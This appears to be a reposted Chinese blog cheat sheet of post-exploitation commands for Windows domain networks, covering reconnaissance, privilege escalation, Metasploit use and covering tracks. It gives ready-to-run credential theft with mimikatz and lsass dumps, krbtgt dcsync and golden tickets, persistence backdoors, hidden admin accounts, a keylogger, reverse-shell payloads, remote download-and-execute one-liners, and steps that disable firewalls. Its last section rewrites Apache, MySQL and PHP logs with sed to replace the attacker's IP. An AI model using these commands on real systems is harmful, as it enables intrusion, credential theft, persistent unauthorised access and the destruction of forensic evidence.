转载:https://www.cnblogs.com/-mo-/p/12358812.html
0x01 信息搜集
nmap扫描实时存活的ip
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
1.1 常用命令
ipconfig /all #查看当前是否存在域#机器名hostnameecho %COMPUTERNAME%echo %logonserver% #查看登陆域systeminfo #查看系统信息systeminfo | find /i "domain" #查看机器在哪个域systeminfo | find /i "KB" #查看系统安装的补丁#获取arp表arp -aroute printnetstat -r #查看路由tracert #路由跟踪实用程序,用于确定IP数据包访问目标所采取的路径curl vps:8080 #http连通性nslookup www.baidu.com vps-ipdig @vps-ip www.baidu.com #测试dns连通性nslookup hacked.com #判断域控与DNS是否为同一主机sc query state= all #查询系统的服务信息set #查看系统的环境变量rdesktop -u username ip #linux连接win远程桌面where file #win查找文件是否存在Linux下使用命令 find -name *.jsp #来查找文件位置Windows下使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %idir /s *.exe #查找指定目录下及子目录下没隐藏文件cmdkey /l #查看保存登陆凭证spn –l administrator #spn记录schtasks /query /fo LIST /v #查看计划任务#远程下载文件bitsadmin /transfer n http://192.168.3.1/test.exe C:\windows\temp\test.execertutil.exe -urlcache -split -f http://192.168.3.1/test.exe file.exewhoami /all #查看Mandatory Label uac级别和sid号whoami /user && whoami /priv #检查当前shell权限fuser -nv tcp 80 #查看端口进程的pidnetstat /ano #TCP/UDP网络连接状态信息netstat -p TCP -ano #DNS服务器可能开放了53端口(域控) 更新服务器可能开放了8530端口quser #查看在线用户query user || qwinsta #查看当前在线用户nltest /dsgetdc:域名 #查询域控主机名。 如 nltest /dclist:bknltest /domain_trusts #可以列出域之间的信任关系nltest /dclist:xx #查看域控nltest /domain_trusts /all_trusts /v /server:192.168.52.2 #查找信任域nltest /dsgetdc:XXXX /server:192.168.52.2 #查找信任域所对应的IPnet config workstation #当前登录域 - 计算机名 - 用户名net statistics workstation #查看主机开机时间net view #查看同一域内机器列表net view \\dc #查看dc域内共享文件net view \\ip #查看某IP共享net view \\GHQ #查看GHQ计算机的共享资源列表net view /domain #查看内网存在多个域net view /domain:xyz #查看xyz域中的机器列表net view & net group "domain computers" /domain #查看当前域计算机列表 第二个查的更多net group /domain #查看域里面的组net group "domain admins" /domain #获取域管理员列表net group "domain controllers" /domain #查看域控制器net group "domain computers" /domain #查看域机器net group “domain admins” username /add #在域控制器上执行这个可以讲用户加到域管理员组中。net localgroup administrators /domain #这个也是查域管,是升级为域控时,本地账户也成为域管net localgroup administrators #本机管理员net localgroup administrators workgroup\user001 /add #域用户添加到本机net localgroup administrators && whoami #查看当前是不是属于管理组net user #查看本机用户net user xxx #查看本机用户xxx信息net user /domain #查看域用户net user 域用户 /domain #获取某个域用户的详细信息net user /domain xxx 123456 #修改与用户密码,需要域管理员权限net user username /actives:yes /domain #启动一个被锁定的账号 要有域管权限net use \\192.168.1.5 Passw0rd! /user:admin #建立 ipc 连接net use \ip\c$ /delete #删除指定ip的共享链接net use x: /delete #删除共享的x盘。net use x: \192.168.23.8\C$ /user:"test\Administrator" "123" #将目标的C盘映射到本地成为X盘mstsc /admin #远程桌面登录到 console 会话解决 hash 无法抓出问题net time /domain #域服务器通常会作为时间服务器(1)找不到xxx域控制器:处于工作组,不存在域(2)发生错误,拒绝访问:存在域,不是域用户(3)查询成功:存在域,是域用户net time \\192.168.1.5 #查看目标当前时间,得到当前时间是 21:50:52net accounts /domain #获得域内账户的密码策略信息net accounts #查询本地账户的密码策略信息tasklist /v #查看进程tasklist /svc #显示每个进程中的服务信息tasklist /S ip /U domain\username /P /V #查看远程计算机tasklist#列出或者断开本地计算机与之连接的客户端的会话(需要管理权限)net session[//computername][/delete]例子:net session //momaek /delete#查看当前共享net sharewmic share get name,path,status#查看当前操作系统wmic OS get Caption,CSDVersion,OSArchitecture,versionverWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list #查杀软wmic product get name,version #查看当前安装的程序wmic process list brief #查询进程信息wmic qfe list #查看补丁详情wmic process get caption, executablepath,commandline #查看进程并显示运行进程的命令语句wmic process where name=“WMIC.exe" call terminate #终止某个进程wmic os get name,servicepackmajorversion #提取操作系统的servicepack版本wmic product where name=“name” call uninstall /nointeractive #卸载名字为name的软件wmic share get /ALL #查看共享情况wmic nteventlog get path,filename, writeable #得到日志文件的位置dsquery server #查找目录中的 AD DC/LDS 实例dsquery user #查找目录中的用户dsquery computer #查询所有计算机名称windows 2003dsquery computer domainroot -limit 65535 && net group “domain computers” /domain #列出该域内所有机器名dsquery user domainroot -limit 65535 && net user /domain #列出该域内所有用户名dsquery subnet #列出该域内网段划分dsquery group && net group /domain #列出该域内分组dsquery ou #列出该域内组织单位dsquery server && net time /domain #列出该域内域控制器copy add.bat \\192.168.1.5\c$\wmpub #复制 add.bat 到目标 C 盘 wmpub 目录add.bat 里面的内容是 net userTwi1ight Passw0rd! /add #添加 Twi1ight 用户at \\192.168.1.5 21:52 c:\wmpub\add.bat #告诉目标在21:52的时候运行c:\wmpub\add.batat \\192.168.1.5 #查看目标的计划任务列表Linux命令:netstat -anpt #查看端口状态ps -ef #查看进程状态cat /root/.bash_history #查看管理员的历史输入命令(获取密码,网站目录,内网资产等信息)find / -name *.cfg #查找某个文件(寻找配置文件等)windows命令:taskmgr #任务管理器explorer #桌面进程gpedit.msc #组策略设置appwiz.cpl #添加与删除sysdm.cpl #系统属性页面可以配置环境变量tasklist /svc #查看当前的任务列表taskkill /f /pid 123 #强制终止pid为123的任务gpedit.msc #打开本地组策略管理eventvwr #打开日子页面services.msc #打开服务页面gpupdate /force #强制同步组策略runas /user:administrator(用户名) cmd.exe(应用程序的名字)#cmd切换用户systeminfo | find /i “kB” #查看系统补丁REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获得远程端口klist #检验缓存票据klist purge #删除所有票据
1.2 脚本收集域信息
使用ntdsxtract提取域信息
#脚本收集域信息,使用ntdsxtract提取域信息git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install
#使用被攻击主机CMD扫描存活ipfor /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
1.3 文件信息搜集
ExifTool可读写及处理图像、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等。
exiftool ‐lang zh‐cn ‐a ‐u ‐g1 ./55e736d12f2eb9385716e 513d8628535e4dd6fdc.jpg
Micropoor:”目标资产信息搜集的程度,决定渗透过程的复杂程度。目标主机信息搜集的深度,决定后渗透权限持续把控。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。”
#Msf持续后门run persistence -U -i 10 -p 10390 -r 192.168.0.108#persistence启动项后门:反弹时间间隔是10s 端口是10390 Metasploit服务器ip是192.168.0.108run metsvc –A#metsvc服务后门:在C:\Users***\AppData\Local\Temp\上传三个文件:metsrv.x86.dll、metsvc-server.exe、metsvc.exe,通过服务启动,服务名为meterpreter
1.4 密码凭证获取
//导出目标主机中的口令哈希值hashdump//加载mimikatz模块load mimikatz//获取登录密码的hash值msvssptspkgwdigest//获取明文密码kerberos//另一种方式获取哈希值mimikatz_command -f samdump::hashes//另一种方式获取明文密码mimikatz_command -f sekurlsa::searchPasswords
//Msf启用powershellmeterpreter > load powershellmeterpreter > powershell_shellPS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Ps > Invoke-Mimikatz -DumpCreds
提取 KRBTGT用户帐户的密码数据:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit
管理员用户帐户提取密码数据:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
发现远程登录密码等密码 netpass.exe
下载https://www.nirsoft.net/utils/network_password_recovery.html
获取window vpn密码:
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
wifi密码:
netsh wlan show profile 查处wifi名下一条命令用netsh wlan show profile WiFi-name key=clear
ie代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServerreg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"
pac代理
reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL //引 t0stmail
1.5 用户操作
# 添加usernet user admin1 admin1 /add & net localgroup administrators admin1 /add
# 如果不允许远程连接,修改注册表REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /fREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
# 如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow# 关闭防火墙netsh firewall set opmode mode=disablenetsh advfirewall set allprofiles state off
# 自动收集信息1.VMICvmic是Windows管理工具命令行,默认情况下,win xp不允许低权限用户使用wmic,win7以上方才可以[http://www.fuzzysecurity.com/scripts/files/wmic_info.rar](http://www.fuzzysecurity.com/scripts/files/wmic_info.rar)2.Empire#可查询本机用户、域组成员、密码设置时间usemodule situational_awareness/host/winenum
# 添加隐藏账户 开启sys权限cmdIEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'# 添加用户并隐藏IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')
0x02 提权小结
2.1常用exp:
https://github.com/SecWiki/windows-kernel-exploitshttps://github.com/WindowsExploits/Exploitshttps://github.com/AusJock/Privilege-Escalationlinux提权辅助脚本https://github.com/jondonas/linux-exploit-suggester-2windows提权辅助脚本https://github.com/Ethancck/Windows-Exploit-Suggester
2.2 Msf相关
linux相关payload:
linux/x86/meterpreter/reverse_tcplinux/x86/meterpreter/bind_tcplinux/x86/shell_bind_tcplinux/x86/shell_reverse_tcplinux/x64/shell/bind_tcplinux/x64/shell/reverse_tcplinux/x64/shell_bind_tcplinux/x64/shell_bind_tcp_random_portlinux/x64/shell_reverse_tcp
windows相关payload:
windows/meterpreter/reverse_tcpwindows/meterpreter/bind_tcpwindows/meterpreter/reverse_hop_httpwindows/meterpreter/reverse_httpwindows/meterpreter/reverse_http_proxy_pstorewindows/meterpreter/reverse_httpswindows/meterpreter/reverse_https_proxywindows/shell_reverse_tcpwindows/shell_bind_tcpwindows/x64/meterpreter/reverse_tcpwindows/x64/meterpreter/bind_tcpwindows/x64/shell_reverse_tcpwindows/x64/shell_bind_tcp
目标服务器为64位用x64监听,反弹meterpreter用含有meterpreter的模块,反弹普通的shell(例如nc),shell_reverse_tcp模块监听
例如msf:
反弹shell msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe监听 windows/meterpreter/reverse_tcp反弹shell nc -e cmd.exe ip port监听 windows/shell_reverse_tcp
meterpreter下上传 upload file 下载 download file
2.2.1 Msf进程注入(win2008 成功)
meterpreter > getuidServer username: xxxxmeterpreter > getpidCurrent pid: 3456meterpreter > psProcess List============PID PPID Name Arch Session User Path--- ---- ---- ---- ------- ---- ----12000 676 shell.exe x86 2 xxx C:\Users\xxx\Desktop\shell.exe676 1124 explorer.exe x64 2 xxx C:\Windows\explorer.exemeterpreter > migrate 676[*] Migrating from 12000 to 676...[*] Migration completed successfully.
2.2.2 Msf hash
meterpreter > run hashdump 需要sys权限 导出SAMmeterpreter > run post/windows/gather/smart_hashdump 需要sys权限getsystem存在uac,用msf bypass,但特征明显 meterpreter > search bypassuacmsf powerdump load mimikatz 不太好用
2.2.3 Msf的持续后门
Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)
run persistence -U -i 10 -p 10390 -r free.ngrok.cc
使用powershell执行也被监控而被360拦截
meterpreter 的 run getgui -e 命令可以开启成 功。360会提示阻止
Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,使用-r参数可以卸载服务 ,被拦
2.2.4 Msf powershell
meterpreter > load powershellmeterpreter > powershell_shellPS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Ps > Invoke-Mimikatz -DumpCreds
2.2.5 Msf Router
2个或多个路由之间,没有配置相应的路由表,不能访问,获得一台机器shell session 添加路由,使msf可以在当前shell session下以被攻击机访问其他内网主机.
meterpreter > run get_local_subnets[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[!] Example: run post/multi/manage/autoroute OPTION=value [...]Local subnet: 172.17.0.0/255.255.0.0meterpreter > run autoroute -s 172.17.0.0/16 添加路由meterpreter > run autoroute -p 查看路由meterpreter > run autoroute -d -s 172.17.0.0/16 删除
2.2.6 键盘记录
Msf键盘记录在windows不会创建新进程
meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop
2.2.7 Payload下载(windows)
自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自 动重试,在比较复杂的网络环境下,有着不错的性能。
bitsadmin /rawreturn /transfer down "[http://vps/hello.php](http://vps/hello.php)" G:\text\hello.php
2.2.8 mimikatz 和procdump 获得内存 hash
如果服务器是64位,要把Mimikatz进程迁移到一个64位的程序进程中,才能查看64位系统密码明文。32位任意
运行procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理权限)后lsass.dmp放到mimikatz.exe同目录,运行以下命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
导出当前 内存 hash,需要免杀过av等
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
Windows Server 2012,部分Windows Server 2008默认无法使用mimikatz导出明文口令
2.2.9 黄金票据(维持权限)
域用户sid
whoami /all
krbtgt hash
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
域管 net group "domain admins" /domain 这里的是administrator
mimikatz "kerberos::purge""kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5-..... /krbtgt:hash /ticket:Adminstrator.kiribi""kerberos::ptt Administrator.kiribi""kerberos::tgt"
0x03 痕迹擦除
在渗透中,想要不留痕迹的(当然这是很难的),就要对自己的留下的痕迹进行擦除,这里以Lniux为例。
3.1 Apache日志
Apache主要的日志就是access.log,error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。这些都可以在httpd.conf中找到。
明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。在正则表达式中有特殊的含义,所以需要用“”来进行转义。
3.2 MySQL日志文件
log-error=/var/log/mysql/mysql_error.log #错误日志log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志log-error=/var/log/mysql/mysqld.logpid-file=/var/run/mysqld/mysqld.pid
执行下述命令清除即可
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log
至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
3.3 php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log
3.4 Linux日志清除
这个比较多,记录的也比较复杂,测试环境是CentOS 6.3。只把和渗透有关的文件列出来,主要在/etc/logrotate.d/syslog中
/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
